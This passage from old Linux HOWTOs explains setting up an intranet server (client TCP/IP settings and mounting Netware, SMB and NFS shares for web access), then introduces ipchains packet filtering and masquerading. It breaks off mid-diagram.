You will now be prompted to configure the TCP/IP protocol stack. You can always reconfigure this by highlighting the TCP/IP protocol and clicking the Properties button.
   Select the tab IP Address
      Mark the checkbox 'Specify an IP address'
      In the IP address box enter 172.17.0.5
      In the Subnet Mask box enter 255.255.255.0
      Enter your gateway (router) address in the box Default Gateway
          as 172.17.0.254
Click OK. The computer will ask you to restart. You can now use any Browser to connect to your HTTP Server.

4.5 Setup TCP/IP on Macintosh

If you are using the Macintosh for accessing your network, then this section details how to install MacTCP for the PowerMacs.

Note: To enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/ in the WWW browser and all your intranet commands you need to edit the hosts file. The format of the hosts file is different from the one used in Unix. The Mac hosts file is based on RFC-1035. You can add more entries for each of your other hosts (Netware, Unix, WinNT) as well. The MacOS keeps its HOSTS file in the Preferences folder under the System folder. Edit this file and add a line for your Linux server as:

  linux.mydomain    A  172.16.0.1

  netware.mydomain  A  172.16.0.2
  winNT.mydomain    A  172.16.0.3
  ws_1              A  172.16.0.5

MacTCP

This section explains how to install MacTCP. Firstly you must download the MacTCP files from Apple or install it from the Internet Connection CD. To configure MacTCP, click the Apple Menu/ Control Panels/ TCP/IP. In the screen change the setting for 'Connect via:' to 'Ethernet'

Change the 'Configure' setting to 'Manually'

  In the IP address box enter 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
  Enter your gateway (router) address in the box
    Router address as 172.17.0.254
Click OK. You should now be able to use the Browser to connect to your HTTP Server.


The Linux Intranet Server HOWTO: Setting up the Intranet

 Next Previous Contents

5. Setting up the Intranet

An Intranet cannot be complete without sharing the resources on the different platforms. You will need support for other filesystems, so that you can access the data available on them. This document provides instructions to connect Linux to the following popular filesystems.

  • NCP filesystem for Netware
  • SMB filesystem for Windows
  • NFS filesystem for Unix

These filesystems can be compiled into the Linux kernel or added as modules, depending on the version of Linux. If you are not familiar with compiling the kernel you can refer to the Kernel HOWTO http://sunsite.unc.edu/mdw/HOWTO/Kernel-HOWTO.html and the Module HOWTO http://sunsite.unc.edu/mdw/HOWTO/Module-HOWTO.html for compiling the kernel with modules.

5.1 NCPFS

To share the files on the Netware server you will need support for NCP (ncpfs). NCPFS works with kernel version 1.2.x and 1.3.71 upwards. It does not work with any earlier 1.3.x kernel. It cannot access the NDS database in Netware 4.x, but can make use of the bindery. If you are using Netware 4.x you can enable bindery support for specific containers using the command Set Bindery Context at the console as:

  set Bindery Context = CORP.MYDOM;WEBUSER.MYDOM
In the above example two containers have bindery support enabled.

You will need to download the NCP filesystem utilities using the URL ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ncpfs/ncpfs.tgz (currently ncpfs-2.0.10) from Sunsite.

Installation

To install the ncpfs utilities, type

   zcat ncpfs.tgz | tar xvf -
to expand the files into its own directory. In this case you will get a directory ncpfs-2.0.10 Change your directory to this ncpfs directory before proceeding with the installation. Read the README and edit the Makefile if necessary.

The installation of ncpfs depends on the kernel version you are using. For kernel 1.2, you should simply type 'make'. Subsequently typing 'make install' will install the executables and man pages.

If you use Kernel 1.3.71 or later, you might have to recompile your kernel. With these kernels, the kernel part of ncpfs is already included in the main source tree. To check if the kernel needs to be recompiled type

   cat /proc/filesystems
It should show you a line saying that the kernel knows ncpfs.

If ncpfs is not there, you can either recompile the kernel or add ncpfs as a module. For recompiling the kernel you should type 'make config' and when it asks you for

The IPX protocol (CONFIG_IPX) [N/y/?]

simply answer 'y'. Probably you do not need the full internal net that you are asked for next. Once the kernel is successfully installed, reboot, check /proc/filesystems and if everything is OK proceed with the installation of the ncpfs utilities. Change directory to the location holding your downloaded ncpfs files, and type 'make'. After the compilation is finished type 'make install' to install the various utilities and man pages.

Mounting NCPFS

To check the installation type

   ipx_configure --auto_interface=on --auto_primary=on

....wait for 10 seconds and type

   slist
You should be able to see a list of your Netware servers. Now we are ready to share files from the Netware server.

Suppose we need to access HTML files from directory \home\htmldocs on volume VOL1: on the server MYDOM_NW, I recommend that you create a new user (say) 'EXPORT' with password 'EXP123' on this server to whom you grant appropriate access rights to this directory using SYSCON or NWADMIN.

On the Linux machine create a new directory /mnt/MYDOM_NW. Now type the command

   ncpmount -S MYDOM_NW -U EXPORT -P EXP123 /mnt/MYDOM_NW
to mount the netware file system. Typing the command
   ls /mnt/MYDOM_NW/vol1/home/htmldocs
will show you a list of all the files in MYDOM_NW/VOL1:\HOME\HTMLDOCS (using Netware file notation). If you have any problems please read the IPX HOWTO at http://sunsite.unc.edu/mdw/HOWTO/IPX-HOWTO.html for more insights into the IPX system.

5.2 SMBFS

To share the files on the Windows server you will need support for SMB (smbfs).

You will need to download the SMB filesystem utilities from ftp://sunsite.unc.edu/pub/Linux/system/filesystems/smbfs/smbfs.tgz (currently smbfs-2.0.1) from Sunsite.

Installation

To install the smbfs utilities, type

   zcat smbfs.tgz | tar xvf -
to expand the files into its own directory. In this case you will get a directory smbfs-2.0.1 Change your directory to this smbfs directory before proceeding with the installation. Read the README and edit the Makefile if necessary.

The installation of smbfs depends on the kernel version you are using. For kernel 1.2, you should simply type 'make'. Subsequently typing 'make install' will install the executables and man pages.

If you use Kernel 2.0 or later, you might have to recompile your kernel. With these kernels, the kernel part of smbfs is already included in the main source tree. To check if the kernel needs to be recompiled type

   cat /proc/filesystems
It should show you a line saying that the kernel knows smbfs.

If smbfs is not there, you can either recompile the kernel or add smbfs as a module. For recompiling the kernel you should type 'make config' and when it asks you for adding SMB filesystem support simply answer yes. Once the kernel is successfully installed, reboot, check /proc/filesystems and if everything is OK proceed with the installation of the smbfs utilities. Change directory to the location holding your downloaded smbfs files, and type 'make'. After the compilation is finished type 'make install' to install the various utilities and man pages.

Mounting SMBFS

In our example let us assume that the WinNT server is called 'MYDOM_NT' and is sharing its directory C:\PUB\HTMLDOCS with a share name of 'HTMLDOCS' without a password. On the Linux machine create a new directory /mnt/MYDOM_NT. Now type the command

   smbmount //MYDOM_NT/HTMLDOCS /mnt/MYDOM_NT -n

to mount the SMB (windows share) file system. If this does not work try

   smbmount //MYDOM_NT/COMMON /mnt/MYDOM_NT -n -I 172.16.0.3

Typing the command

   ls /mnt/MYDOM_NT
will show you a list of all the files in bsol;bsol;MYDOM_NT\PUB\HTMLDOCS (using Windows file notation).

5.3 NFS

First you will need a kernel with the NFS file system either compiled in or available as a module.

Suppose you have a Unix host running NFS with the name MYDOM_UNIX and an IP address of 172.16.0.4. You can check the directories that are being exported (shared) by this host by typing the command

   showmount -e 172.16.0.4
Once we know the exported directories you can mount them by entering a appropriate mount command. I recommend that you create a subdirectory under '/mnt' (say) 'MYDOM_UNIX' and use that as your mount point.

   mount -o rsize=1024,wsize=1024 172.16.0.4:/pub/htmldocs /mnt/MYDOM_UNIX
The rsize and wsize may have to be changed depending on your environment.

If you have any problems please read the NFS HOWTO at http://sunsite.unc.edu/mdw/HOWTO/NFS-HOWTO.html for more insights into the NFS system.


The Linux Intranet Server HOWTO: Accessing the Web

 Next Previous Contents

6. Accessing the Web

Now that we have setup the HTTP server, the clients and interconnected the Linux server with the other servers, we need to make some small adjustments on the Linux server to be able to access these mounted filesystems from the Web Browser.

6.1 Accessing the mounted filesystems

To access the mounted directories in your HTML pages you have two methods:

  • Create a link in DocumentRoot (/usr/local/etc/httpd/htdocs) to refer to the mounted directory as
       ln -s /mnt/MYDOM_NW/vol1/home/htmldocs netware
                     or

   ln -s /mnt/MYDOM_NT    winNT
                     or

   ln -s /mnt/MYDOM_UNIX    unix
  • to edit the file srm.conf in your /usr/local/etc/httpd/conf directory and add a new alias.

  # Alias fakename realname
  Alias /icons/     /usr/local/etc/httpd/icons/

  # alias for netware server
  Alias /netware/   /mnt/MYDOM_NW/vol1/home/htmldocs/
  Alias /winNT/     /mnt/MYDOM_NT/
  Alias /unix/      /mnt/MYDOM_UNIX
And restart your HTTPd. You can access the documents on the netware server by referring to them as http://linux.mydomain/netware/index.htm for the netware files and similar notations for the others.

6.2 Connecting to the Internet

You can finally connect your Intranet to the Internet to access E-Mail and all the wonderful information out there. I propose to write a brief note on how to do this in a future revision. Detailed explanations are available in the ISP Hookup HOWTO from http://sunsite.unc.edu/mdw/HOWTO/ISP-Hookup-HOWTO.html and Diald mini HOWTO at http://sunsite.unc.edu/mdw/HOWTO/mini/Diald for setting up these connections.

6.3 Other uses

The HTTP server can be used in the office to provide transparent access to information residing on different servers, at several locations and directories. The data can be simple documents in Word, Lotus spreadsheets, or complex databases.

The application of this technology is being typically used as follows:-

  • Publishing corporate documents

    These documents can include newsletters, annual reports, maps, company facilities, price lists, product information literature, and any document which is of value within the corporate entity.

  • Access into searchable directories

    Rapid access to corporate phone books and the like. This data can be mirrored at a Web site or, via CGI scripts, the Web server can serve as a gateway to back-end pre-existing or new applications. This means that, using the same standard access mechanisms, information can be made more widely available and in a simpler manner. This means that it can be used to create an interface with RDBMS like ORACLE and SYBASE for generating real-time information. Here is a list of links to such sites on the Web.

    - Web Access - http://cscsun1.larc.nasa.gov/~beowulf/db/web_access.html - CGI gateways - HTTP://www.w3.org/hypertext/WWW/RDBGate/Overview.html

  • Corporate/Department/Individual pages

    As cultures change within organistions to the point where even each department moves towards their own individual mission statements, the Intranet technology provides the ideal medium to communicate current information to the Department or Individual. Powerful search engines provide the means for people to find the group or individual who has the answers to the continuous questions which arise in the normal day-to-day course of doing business.

  • Simple Groupware applications

    With HTML forms support, sites can provide sign-up sheets, surveys and simple scheduling.

  • Software distribution

    Administrators can use the Intranet to deliver software and up-dates on-demand to users across the corporate network . This can be done with 'Java' which allows the creation and transparent distribution of objects on-demand rather than just data or applications. This is indeed possible more easily with the newer versions of Linux which has builtin support for Java.

  • Mail

    With the move to the use of Intranet mail products with standard and simple methods for attachment of documents, sound, vision and other multimedia between individuals, mail is being pushed further forward as a simple, de facto communications method. Mail is essentially individual to individual, or individual to small group, communication. Several utilities are available on the Linux platform to setup an E-mail system like sendmail, pop3d, imapd.

  • User Interface

    The Intranet technology is evolving so rapidly that the tools available, in particular HTML, can be used to dramatically change the way we interface with systems. With HTML you can build an Interface which is only limited by the creators imagination. The beauty about using Intranet technologies for this is that it is so simple. Clicking a hyperlink from HTML can take you to another page, it could ring an alarm, run a yearend procedure or anything else that a computer program can do.


The Linux Intranet Server HOWTO: More things to do

 Next Previous Contents

7. More things to do

Here is a list of other interesting things to do with your Linux Intranet server. All the software mentioned below is freeware or shareware.

  • Browse the Linux server using Network Neighbourhood in Win95/ NT; Setup a WINS like NBT server. Check out the SAMBA Web page at http://lake.canberra.edu.au/pub/samba/samba.html
  • Implement a search engine on your Intranet. Connect to ht://Dig at http://htdig.sdsu.edu/
  • Use CUSeeMe by setting up a local reflector. Refer to their page at Cornell http://cu-seeme.cornell.edu/
  • Setup Web Conferencing. Use COW from http://thecity.sfsu.edu/COW/
  • Deploy a SQL database. Refer to the mSQL Home page at http://Hughes.com.au/
  • Setup FTP,Gopher,Finger,Bootp servers on the Netware server. Get them at http://mft.ucs.ed.ac.uk/
  • Emulate a Netware server. Check out the NCP Utilities at ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ncpfs/
If you find other interesting things to do with your Linux Intranet server, please feel free to mail me.


The Linux Intranet Server HOWTO: Credits and Legalities

 Next Previous Contents

8. Credits and Legalities

8.1 Thanks

Thanks to the people at NCSA for providing such excellent documentation, David Anderson and all others for trying out this HOWTO and sending in their comments. The details on Netware/IP are courtesy Romel Flores (rom@mnl.sequel.net).

8.2 Copyright and License

This document is copyrighted © 1996,1997 Pramod Karnad.

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.


Linux IPCHAINS-HOWTO

Rusty Russell

v1.0.8, Tue Jul 4 14:20:53 EST 2000

This document aims to describe how to obtain, install and configure the enhanced IP firewalling chains software for Linux, and some ideas on how you might use them.

1. Introduction

  • 1.1 What?
  • 1.2 Why?
  • 1.3 How?
  • 1.4 Where?

2. Packet Filtering Basics

  • 2.1 What?
  • 2.2 Why?
  • 2.3 How?

3. I'm confused! Routing, masquerading, portforwarding, ipautofw...

  • 3.1 Rusty's Three-Line Guide To Masquerading
  • 3.2 Gratuitous Promotion: WatchGuard Rules
  • 3.3 Common Firewall-like Setups
  • 3.4 More Information on Masquerading

4. IP Firewalling Chains

  • 4.1 How Packets Traverse The Filters
  • 4.2 Useful Examples

5. Miscellaneous.

  • 5.1 How to Organize Your Firewall Rules
  • 5.2 What Not To Filter Out
  • 5.3 Filtering out Ping of Death
  • 5.4 Filtering out Teardrop and Bonk
  • 5.5 Filtering out Fragment Bombs
  • 5.6 Changing Firewall Rules
  • 5.7 How Do I Set Up IP Spoof Protection?
  • 5.8 Advanced Projects
  • 5.9 Future Enhancements

6. Common Problems

  • 6.1 ipchains -L Freezes!
  • 6.2 Inverse doesn't work!
  • 6.3 Masquerading/Forwarding Doesn't Work!
  • 6.4 -j REDIR doesn't work!
  • 6.5 Wildcard Interfaces Don't Work!
  • 6.6 TOS Doesn't Work!
  • 6.7 ipautofw and ipportfw Don't Work!
  • 6.8 xosview is Broken!
  • 6.9 Segmentation Fault With `-j REDIRECT'!
  • 6.10 I Can't Set Masquerading Timeouts!
  • 6.11 I Want to Firewall IPX!

7. A Serious Example.

  • 7.1 The Arrangement
  • 7.2 Goals
  • 7.3 Before Packet Filtering
  • 7.4 Packet Filtering for Through Packets
  • 7.5 Finally

8. Appendix: Differences between ipchains and ipfwadm.

  • 8.1 Quick-Reference table.
  • 8.2 Examples of translated ipfwadm commands

9. Appendix: Using the ipfwadm-wrapper script.

10. Appendix: Thanks.

  • 10.1 Translations


Linux IPCHAINS-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Linux IPCHAINS-HOWTO; see Where? for the master site, which contains the latest copy. You should read the Linux NET-3-HOWTO as well. The IP-Masquerading HOWTO, the PPP-HOWTO, the Ethernet-HOWTO and the Firewall HOWTO might make interesting reading. (Then again, so might the alt.fan.bigfoot FAQ).

If packet filtering is passe to you, read Section Why?, Section How?, and scan through the titles in Section IP Firewalling Chains.

If you are converting from ipfwadm, read Section Introduction, Section How?, and Appendices in section Differences between ipchains and ipfwadm and section Using the `ipfwadm-wrapper' script.

1.1 What?

Linux ipchains is a rewrite of the Linux IPv4 firewalling code (which was mainly stolen from BSD) and a rewrite of ipfwadm, which was a rewrite of BSD's ipfw, I believe. It is required to administer the IP packet filters in Linux kernel versions 2.1.102 and above.

1.2 Why?

The older Linux firewalling code doesn't deal with fragments, has 32-bit counters (on Intel at least), doesn't allow specification of protocols other than TCP, UDP or ICMP, can't make large changes atomically, can't specify inverse rules, has some quirks, and can be tough to manage (making it prone to user error).

1.3 How?

Currently the code is in the mainstream kernel from 2.1.102. For the 2.0 kernel series, you will need to download a kernel patch from the web page. If your 2.0 kernel is more recent than the supplied patch, the older patch should be OK; this part of the 2.0 kernels is fairly stable (eg. the 2.0.34 kernel patch works just fine on the 2.0.35 kernel). Since the 2.0 patch is incompatible with the ipportfw and ipautofw patches, I don't recommend applying it unless you really need some functionality that ipchains offers.

1.4 Where?

The official page is in three places: Thanks to Penguin Computing Thanks to the SAMBA Team Thanks to Jim Pick

There is a mailing list for bug reports, discussion, development and usage. Join the mailing list by sending a message containing the word ``subscribe ipchains-list'' to subscribe at east.balius.com. To mail to everyone on the list use ipchains-list at east.balius.com.


Linux IPCHAINS-HOWTO: Packet Filtering Basics

 Next Previous Contents

2. Packet Filtering Basics

2.1 What?

All traffic through a network is sent in the form of packets. For example, downloading this package (say it's 50k long) might cause you to receive 36 or so packets of 1460 bytes each, (to pull numbers at random).

The start of each packet says where it's going, where it came from, the type of the packet, and other administrative details. This start of the packet is called the header. The rest of the packet, containing the actual data being transmitted, is usually called the body.

Some protocols, such TCP, which is used for web traffic, mail, and remote logins, use the concept of a `connection' -- before any packets with actual data are sent, various setup packets (with special headers) are exchanged saying `I want to connect', `OK' and `Thanks'. Then normal packets are exchanged.

A packet filter is a piece of software which looks at the header of packets as they pass through, and decides the fate of the entire packet. It might decide to deny the packet (ie. discard the packet as if it had never received it), accept the packet (ie. let the packet go through), or reject the packet (like deny, but tell the source of the packet that it has done so).

Under Linux, packet filtering is built into the kernel, and there are a few trickier things we can do with packets, but the general principle of looking at the headers and deciding the fate of the packet is still there.

2.2 Why?

Control. Security. Watchfulness.

Control:

when you are using a Linux box to connect your internal network to another network (say, the Internet) you have an opportunity to allow certain types of traffic, and disallow others. For example, the header of a packet contains the destination address of the packet, so you can prevent packets going to a certain part of the outside network. As another example, I use Netscape to access the Dilbert archives. There are advertisements from doubleclick.net on the page, and Netscape wastes my time by cheerfully downloading them. Telling the packet filter not to allow any packets to or from the addresses owned by doubleclick.net solves that problem (there are better ways of doing this though).

Security:

when your Linux box is the only thing between the chaos of the Internet and your nice, orderly network, it's nice to know you can restrict what comes tromping in your door. For example, you might allow anything to go out from your network, but you might be worried about the well-known `Ping of Death' coming in from malicious outsiders. As another example, you might not want outsiders telnetting to your Linux box, even though all your accounts have passwords; maybe you want (like most people) to be an observer on the Internet, and not a server (willing or otherwise) -- simply don't let anyone connect in, by having the packet filter reject incoming packets used to set up connections.

Watchfulness:

sometimes a badly configured machine on the local network will decide to spew packets to the outside world. It's nice to tell the packet filter to let you know if anything abnormal occurs; maybe you can do something about it, or maybe you're just curious by nature.

2.3 How?

A Kernel With Packet Filtering

You need a kernel which has the new IP firewall chains in it. You can tell if the kernel you are running right now has this installed by looking for the file `/proc/net/ip_fwchains'. If it exists, you're in.

If not, you need to make a kernel that has IP firewall chains. First, download the source to the kernel you want. If you have a kernel numbered 2.1.102 or higher, you won't need to patch it (it's in the mainstream kernel now). Otherwise, apply the patch from the web page listed above, and set the configuration as detailed below. If you don't know how to do this, don't panic -- read the Kernel-HOWTO.

The configuration options you will need to set for the 2.0-series kernel are:

        CONFIG_EXPERIMENTAL=y
        CONFIG_FIREWALL=y
        CONFIG_IP_FIREWALL=y
        CONFIG_IP_FIREWALL_CHAINS=y

For the 2.1 or 2.2 series kernels:

        CONFIG_FIREWALL=y
        CONFIG_IP_FIREWALL=y

The tool ipchains talks to the kernel and tells it what packets to filter. Unless you are a programmer, or overly curious, this is how you will control the packet filtering.

ipchains

The ipchains tool inserts and deletes rules from the kernel's packet filtering section. This means that whatever you set up, it will be lost upon reboot; see Making Rules Permanent for how to make sure they are restored the next time Linux is booted.

ipchains replaces ipfwadm, which was used for the old IP Firewall code. There is a set of useful scripts available from the ipchains ftp site:

http://netfilter.filewatcher.org/ipchains/ipchains-scripts-1.1.2.tar.gz

This contains a shell script called ipfwadm-wrapper which allows you to do packet filtering as it was done before. You probably shouldn't use this script unless you want a quick way of upgrading a system which uses ipfwadm (it's slower, and doesn't check arguments, etc). In that case, you don't need this HOWTO much either.

See Appendix Differences between ipchains and ipfwadm and Appendix Using the `ipfwadm-wrapper' script for more details on ipfwadm issues.

Making Rules Permanent

Your current firewall setup is stored in the kernel, and thus will be lost on reboot. I recommend using the `ipchains-save' and `ipchains-restore' scripts to make your rules permanent. To do this, set up your rules, then run (as root):

# ipchains-save > /etc/ipchains.rules
#

Create a script like the following:

#! /bin/sh
# Script to control packet filtering.

# If no rules, do nothing.
[ -f /etc/ipchains.rules ] || exit 0

case "$1" in
    start)
        echo -n "Turning on packet filtering:"
        /sbin/ipchains-restore < /etc/ipchains.rules || exit 1
        echo 1 > /proc/sys/net/ipv4/ip_forward
        echo "."
        ;;
    stop)
        echo -n "Turning off packet filtering:"
        echo 0 > /proc/sys/net/ipv4/ip_forward
        /sbin/ipchains -F
        /sbin/ipchains -X
        /sbin/ipchains -P input ACCEPT
        /sbin/ipchains -P output ACCEPT
        /sbin/ipchains -P forward ACCEPT
        echo "."
        ;;
    *)
        echo "Usage: /etc/init.d/packetfilter {start|stop}"
        exit 1
        ;;
esac

exit 0

Make sure this is run early in the bootup procedure. In my case (Debian 2.1), I make a symbolic link called `S39packetfilter' in the `/etc/rcS.d' directory (this will be run before S40network).


Linux IPCHAINS-HOWTO: I'm confused! Routing, masquerading, portforwarding, ipautofw...

 Next Previous Contents

3. I'm confused! Routing, masquerading, portforwarding, ipautofw...

This HOWTO is about packet filtering. This means deciding whether a packet should be allowed to pass or not. However, Linux being the hacker's playground that it is, you probably want to do more than that.

One problem is that the same tool (``ipchains'') is used to control both masquerading and transparent proxying, although these are notionally separate from packet filtering (the current Linux implementation blurs these together unnaturally, leaving the impression that they are closely related).

Masquerading and proxying are covered by separate HOWTOs, and the auto forwarding and port forwarding features are controlled by separate tools, but since so many people keep asking me about it, I'll include a set of common scenarios and indicate when each one should be applied. The security merits of each setup will not be discussed here.

3.1 Rusty's Three-Line Guide To Masquerading

This assumes that your external interface is called `ppp0'. Use ifconfig to find out, and adjust to taste.

# ipchains -P forward DENY
# ipchains -A forward -i ppp0 -j MASQ
# echo 1 > /proc/sys/net/ipv4/ip_forward

3.2 Gratuitous Promotion: WatchGuard Rules

You can buy off-the-shelf firewalls. An excellent one is WatchGuard's FireBox. It's excellent because I like it, it's secure, it's Linux-based, and because they funded the maintenance of ipchains as well as the new firewalling code (for 2.4). In short, WatchGuard were paying for me to eat while I work for you. So please consider their stuff.

http://www.watchguard.com

3.3 Common Firewall-like Setups

You run littlecorp.com. You have an internal network, and a single dialup (PPP) connection to the Internet (firewall.littlecorp.com which is 1.2.3.4). You run Ethernet on your local network, and your personal machine is called "myhost".

This section will illustrate the different arrangement which are common. Read carefully, because they are each subtly different.

Private Network: Traditional Proxies

In this scenario, packets from the private network never traverse the Internet, and vice versa. The IP addresses of the private network should be assigned from the RFC1918 Address Allocation for Private Internets (ie. 10.*.*.*, 172.16.*.*-172.31.*.* or 192.168.*.*).

The only way things ever connect to the Internet is by connecting to the firewall, which is the only machine on both networks which connects onwards. You run a program (on the firewall) called a proxy to do this (there are proxies for FTP, web access, telnet, RealAudio, Usenet News and other services). See the Firewall HOWTO.

Any services you wish the Internet to access must be on the firewall. (But see Limited Internal Services below).

Example: Allowing web access from private network to the Internet.

  1. The private network is assigned 192.168.1.* addresses, with myhost being 192.168.1.100, and the firewall's Ethernet interface being assigned 192.168.1.1.
  2. A web proxy (eg. "squid") is installed and configured on the firewall, say running on port 8080.
  3. Netscape on the private network is configured to use the firewall port 8080 as a proxy.
  4. DNS does not need to be configured on the private network.
  5. DNS does need to be configured on the firewall.
  6. No default route (aka gateway) needs to be configured on the private network.

Netscape on myhost reads http://slashdot.org.

  1. Netscape connects to the firewall port 8080, using port 1050 on myhost. It asks for the web page of "http://slashdot.org".
  2. The proxy looks up the name "slashdot.org", and gets 207.218.152.131. It then opens a connection to that IP address (using port 1025 on the firewall's external interface), and asks the web server (port 80) for the web page.
  3. As it receives the web page from its connection to the web server, it copies the data to the connection from Netscape.
  4. Netscape renders the page.

ie. From slashdot.org's point of view, the connection is made from 1.2.3.4 (firewall's PPP interface) port 1025 to 207.218.152.131 (slashdot.org) port 80. From myhost's point of view, the connection is made from 192.168.1.100 (myhost) port 1050, to 192.168.1.1 (firewall's Ethernet interface) port 8080.

Private Network: Transparent Proxies

In this scenario, packets from the private network never traverse the Internet, and vice versa. The IP addresses of the private network should be assigned from the RFC1918 Address Allocation for Private Internets (ie. 10.*.*.*, 172.16.*.*-172.31.*.* or 192.168.*.*).

The only way things ever connect to the Internet is by connecting to the firewall, which is the only machine on both networks, which connects onwards. You run a program (on the firewall) called a transparent proxy to do this; the kernel sends outgoing packets to the transparent proxy instead of sending them onwards (ie. it bastardizes routing).

Transparent proxying means that the clients don't need to know there is a proxy involved.

Any services you wish the Internet to access must be on the firewall. (But see Limited Internal Services below).

Example: Allowing web access from private network to the Internet.

  1. The private network is assigned 192.168.1.* addresses, with myhost being 192.168.1.100, and the firewall's Ethernet interface being assigned 192.168.1.1.
  2. A transparent web proxy (I believe there are patches for squid to allow it to operate in this manner, or try "transproxy") is installed and configured on the firewall, say running on port 8080.
  3. The kernel is told to redirect connections to port 80 to the proxy, using ipchains.
  4. Netscape on the private network is configured to connect directly.
  5. DNS needs to be configured on the private network (ie. you need to run a DNS server as a proxy on the firewall).
  6. The default route (aka gateway) needs to be configured on the private network, to send packets to the firewall.

Netscape on myhost reads http://slashdot.org.

  1. Netscape looks up the name "slashdot.org", and gets 207.218.152.131. It then opens a connection to that IP address, using local port 1050, and asks the web server (port 80) for the web page.
  2. As the packets from myhost (port 1050) to slashdot.org (port 80) pass through the firewall, they are redirected to the waiting transparent proxy on port 8080. The transparent proxy opens a connection (using local port 1025) to 207.218.152.131 port 80 (which is where the original packets were going).
  3. As the proxy receives the web page from its connection to the web server, it copies the data to the connection from Netscape.
  4. Netscape renders the page.

ie. From slashdot.org's point of view, the connection is made from 1.2.3.4 (firewall's PPP interface) port 1025 to 207.218.152.131 (slashdot.org) port 80. From myhost's point of view, the connection is made from 192.168.1.100 (myhost) port 1050, to 207.218.152.131 (slashdot.org) port 80, but it's actually talking to the transparent proxy.

Private Network: Masquerading

In this scenario, packets from the private network never traverse the Internet without special treatment, and vice versa. The IP addresses of the private network should be assigned from the RFC1918 Address Allocation for Private Internets (ie. 10.*.*.*, 172.16.*.*-172.31.*.* or 192.168.*.*).

Instead of using a proxy, we use a special kernel facility called "masquerading". Masquerading rewrites packets as they pass through the firewall, so that they always seem to come from the firewall itself. It then rewrites the responses so that they look like they are going to the original recipient.

Masquerading has separate modules to handle "tricky" protocols, such as FTP, RealAudio, Quake, etc. For really hard-to-handle protocols, the "auto forwarding" facility can handle some of them by automatically setting up port forwarding for related sets of ports: look for ``ipportfw'' (2.0 kernels) or ``ipmasqadm'' (2.1 kernels).

Any services you wish the Internet to access must be on the firewall. (But see Limited Internal Services below).

Example: Allowing web access from private network to the Internet.

  1. The private network is assigned 192.168.1.* addresses, with myhost being 192.168.1.100, and the firewall's Ethernet interface being assigned 192.168.1.1.
  2. The firewall is set up to masquerade any packets coming from the private network and going to port 80 on an Internet host.
  3. Netscape is configured to connect directly.
  4. DNS must be configured correctly on the private network.
  5. The firewall should be the default route (aka gateway) for the private network.

Netscape on myhost reads http://slashdot.org.

  1. Netscape looks up the name "slashdot.org", and gets 207.218.152.131. It then opens a connection to that IP address, using local port 1050, and asks the web server (port 80) for the web page.
  2. As the packets from myhost (port 1050) to slashdot.org (port 80) pass through the firewall, they are rewritten to come from the PPP interface of the firewall, port 65000. The firewall has a valid Internet address (1.2.3.4) so reply packets from slashdot.org get routed back OK.
  3. As packets from slashdot.org (port 80) to firewall.littlecorp.com (port 65000) come in, they are rewritten to go to myhost, port 1050. This is the real magic of masquerading: it remembers when it rewrites outgoing packets to it can write them back as replies come in.
  4. Netscape renders the page.

ie. From the slashdot.org's point of view, the connection is made from 1.2.3.4 (firewall's PPP interface) port 65000 to 207.218.152.131 (slashdot.org) port 80. From the myhost's point of view, the connection is made from 192.168.1.100 (myhost) port 1050, to 207.218.152.131 (slashdot.org) port 80.

Public Network

In this scenario, your personal network is a part of the Internet: packets can flow without change across both networks. The IP addresses of the internal network must be assigned by applying for a block of IP addresses, so the rest of the network will know how to get packets to you. This implies a permanent connection.

In this role, packet filtering is used to restrict which packets can be forwarded between your network and the rest of the Internet, eg. to restrict the rest of the Internet to only accessing your internal web servers.

Example: Allowing web access from private network to the Internet.

  1. Your internal network is assigned according to the IP address block you have registered, (say 1.2.3.*).
  2. The firewall is set up to allow all traffic.
  3. Netscape is configured to connect directly.
  4. DNS must be configured correctly on your network.
  5. The firewall should be the default route (aka gateway) for the private network.

Netscape on myhost reads http://slashdot.org.

  1. Netscape looks up the name "slashdot.org", and gets 207.218.152.131. It then opens a connection to that IP address, using local port 1050, and asks the web server (port 80) for the web page.
  2. Packets pass through your firewall, just as they pass through several other routers between you and slashdot.org.
  3. Netscape renders the page.

ie. There is only one connection: from 1.2.3.100 (myhost) port 1050, to 207.218.152.131 (slashdot.org) port 80.

Limited Internal Services

There are a few tricks you can pull to allow the Internet to access your internal services, rather than running the services on the firewall. These will work with either a proxy or masquerading based approach for external connections.

The simplest approach is to run a "redirector", which is a poor-man's proxy which waits for a connection on a given port, and then open a connection a fixed internal host and port, and copies data between the two connections. An example of this is the "redir" program. From the Internet point of view, the connection is made to your firewall. From your internal server's point of view, the connection is made from the internal interface of the firewall to the server.

Another approach (which requires a 2.0 kernel patched for ipportfw, or a 2.1 or later kernel) is to use port forwarding in the kernel. This does the same job as "redir" in a different way: the kernel rewrites packets as they pass through, changing their destination address and ports to point them at an internal host and port. From the Internet's point of view, the connection is made to your firewall. From your internal server's point of view, a direct connection is made from the Internet host to the server.

3.4 More Information on Masquerading

David Ranch has written an excellent new HOWTO on Masquerading, which has a large amount of overlap with this HOWTO. You can currently find that HOWTO at

http://www.linuxdoc.org/HOWTO/IP-Masquerade-HOWTO.html

The official Masquerading home page is at

http://ipmasq.cjb.net


Linux IPCHAINS-HOWTO: IP Firewalling Chains

 Next Previous Contents

4. IP Firewalling Chains

This section describes all you really need to know to build a packet filter that meets your needs.

4.1 How Packets Traverse The Filters

The kernel starts with three lists of rules; these lists are called firewall chains or just chains. The three chains are called input, output and forward. When a packet comes in (say, through the Ethernet card) the kernel uses the input chain to decide its fate. If it survives that step, then the kernel decides where to send the packet next (this is called routing). If it is destined for another machine, it consults the forward chain. Finally, just before a packet is to go out, the kernel consults the output chain.

A chain is a checklist of rules. Each rule says `if the packet header looks like this, then here's what to do with the packet'. If the rule doesn't match the packet, then the next rule in the chain is consulted. Finally, if there are no more rules to consult, then the kernel looks at the chain policy to decide what to do. In a security-conscious system, this policy usually tells the kernel to reject or deny the packet.

For ASCII-art fans, this shown the complete path of a packet coming into a machine.

        ----------------------------------------------------------------
        |            ACCEPT/                              lo interface |
        v           REDIRECT                  _______                  |
--> C --> S --> ______ --> D --> ~~~~~~~~ -->|forward|----> _______ -->
    h     a    |input |    e    {Routing }   |Chain  |     |output |ACCEPT
